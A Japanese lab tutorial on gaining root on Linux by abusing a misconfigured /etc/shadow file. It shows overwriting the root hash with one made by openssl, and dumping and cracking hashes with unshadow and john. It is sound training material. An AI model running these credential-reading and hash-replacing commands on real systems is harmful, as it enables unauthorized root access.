はじめに
Linux システムは、ユーザー認証とアクセス制御に /etc/passwd と /etc/shadow ファイルに依存しています。システム管理者がこれらのファイルのパーミッションや内容を誤って設定すると、特権昇格攻撃の機会を生み出す可能性があります。この実験では、Linux システムで /etc/shadow ファイルを利用して root 特権を取得する方法を学びます。このシナリオでは、すでに通常ユーザーとして初期の低特権シェルアクセスを取得していることを前提としています。
/etc/shadow ファイルを理解する
このステップでは、/etc/shadow ファイルの構造と目的について学びます。
/etc/shadow ファイルは、各ユーザーアカウントの暗号化されたパスワードとパスワード関連の設定情報を格納しています。ファイル内の各行は 1 人のユーザーを表し、コロンで区切られた 9 つのフィールドが含まれています。
- ユーザー名
- 暗号化されたパスワードハッシュ
- パスワードが最後に変更された日からエポック (1970 年 1 月 1 日) までの日数
- パスワード変更の間に必要な最小日数
- パスワードが有効な最大日数
- パスワードの有効期限切れの前にユーザーに警告する日数
- パスワードの有効期限切れ後、アカウントが無効になるまでの日数
- アカウントが無効になる日からエポック (1970 年 1 月 1 日) までの日数
- 将来使用するために予約されたフィールド
ターミナルを開き、/home/labex/project ディレクトリに移動します。
cd /home/labex/project
/etc/shadow ファイル内の labex ユーザーのエントリを確認しましょう。
sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt
/etc/shadow ファイルを読み取るために sudo を使用したことに注意してください。これは、このファイルは root ユーザーのみが読み取れるためです。
labex_shadow.txt ファイルの内容を確認します。
cat labex_shadow.txt
出力例:
labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::
この行は以下を示しています。
- ユーザー名:
labex - 暗号化されたパスワードハッシュ:
$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8 - 最後のパスワード変更:エポック (1970 年 1 月 1 日) から 19818 日
- 最小パスワード有効期間:0 日 (制限なし)
- 最大パスワード有効期間:99999 日 (期限なし)
- パスワード警告期間:有効期限の 7 日前
- アカウントは期限切れにならない
デフォルトでは、/etc/shadow ファイルは root ユーザーのみが読み取りおよび変更できます。ただし、誤った設定 のパーミッションにより、特権昇格の機会が生じることがあります。
/etc/shadow への書き込みアクセスで特権を昇格させる
このステップでは、/etc/shadow ファイルに書き込みアクセス権がある場合、このファイル内の root パスワードを変更することで特権を昇格させる方法を学びます。
まず、ターミナルを開き、
/home/labex/projectディレクトリに移動します。cd /home/labex/projectこのディレクトリには
env_setup_1.shという名前のスクリプトがあります。このスクリプトを実行して環境をセットアップします。./env_setup_1.shこれにより環境がセットアップされ、
user001ユーザーに切り替わり、初期の低特権シェルアクセスをシミュレートします。user001のホームディレクトリに移動します。cd ~次に、
/etc/shadowファイルのパーミッションを確認します。ls -alh /etc/shadow出力例:
-rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadowuser001ユーザーが誤った設定のために/etc/shadowファイルに書き込みアクセス権を持っていることがわかるはずです。これで、
/etc/shadowファイルを編集し、root ユーザーのパスワードハッシュを新しいものに置き換えることができます。まず、現在の root パスワードハッシュを表示します。
cat /etc/shadow | grep root出力例:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::新しいパスワード (例:
pass123) を設定するには、opensslユーティリティを使用して新しいパスワードハッシュを生成します。openssl passwd -1 -salt ignite pass123出力例:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1テキストエディタで
/etc/shadowファイルを開き、root ユーザーのパスワードハッシュを新しいものに置き換えます。nano /etc/shadowroot ユーザーのパスワードハッシュを見つけます。
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::パスワードハッシュを新しいものに置き換えます。
root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::変更を保存し、エディタを終了します。
最後に、
su rootコマンドを使用して root ユーザーに切り替え、プロンプトが表示されたら新しいパスワードpass123を入力します。su root
これで、システム上で root 特権を持つようになります。
/etc/shadow への読み取りアクセスで特権を昇格させる
このステップでは、/etc/shadow ファイルに読み取りアクセス権のみがある場合、root パスワードハッシュをクラックすることで特権を昇格させる方法を学びます。
前のステップの後、あなたは root ユーザーでいるはずです。新しいターミナル を開くか、exit コマンドを使用して現在のユーザーをログアウトし、labex ユーザーになるまで続けます。
labexユーザーになったら、/home/labex/projectディレクトリに移動します。cd /home/labex/projectenv_setup_2.shスクリプトを実行して環境をセットアップします。./env_setup_2.shこれにより、
user001ユーザーが/etc/shadowファイルに読み取りアクセス権を持つ新しい環境がセットアップされます。user001のホームディレクトリに移動します。cd ~/etc/shadowファイルのパーミッションを確認します。ls -alh /etc/shadow出力例:
-rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadowuser001ユーザーが誤った設定のために/etc/shadowファイルに読み取りアクセス権を持っていることがわかるはずです。次に、
johnツールを使用して root ユーザーのパスワードハッシュをクラックします。johnを使用する前に、unshadowコマンドを使用して/etc/passwdと/etc/shadowファイルの内容を結合する必要があります。unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txtこれで、
shadow_crack.txtファイルに対してjohnを実行して root ユーザーのパスワードハッシュをクラックし、クラックされたパスワードをファイルに保存します。john --users=root shadow_crack.txt > cracked_passwords.txtcracked_passwords.txtファイルの内容を確認して、クラックされたパスワードを表示します。Loaded 1 password hash (md5crypt [MD5 32/64 X2]) study (root)最後に、
su rootコマンドを使用して root ユーザーに切り替え、プロンプトが表示されたらクラックされたパスワードstudyを入力します。su root
これで、システム上で root 特権を持つようになります。
まとめ
この実験では、/etc/shadow ファイルの構造と目的について学び、このファイルを利用して特権を昇格させる 2 つの方法を学びました。つまり、書き込みアクセス権を持つ場合は root パスワードハッシュを変更し、読み取りアクセス権を持つ場合は root パスワードハッシュをクラックする方法です。これらの手法は、Linux 環境においてファイルのパーミッションを適切に設定し、機密性の高いシステムファイルを保護することの重要性を示しています。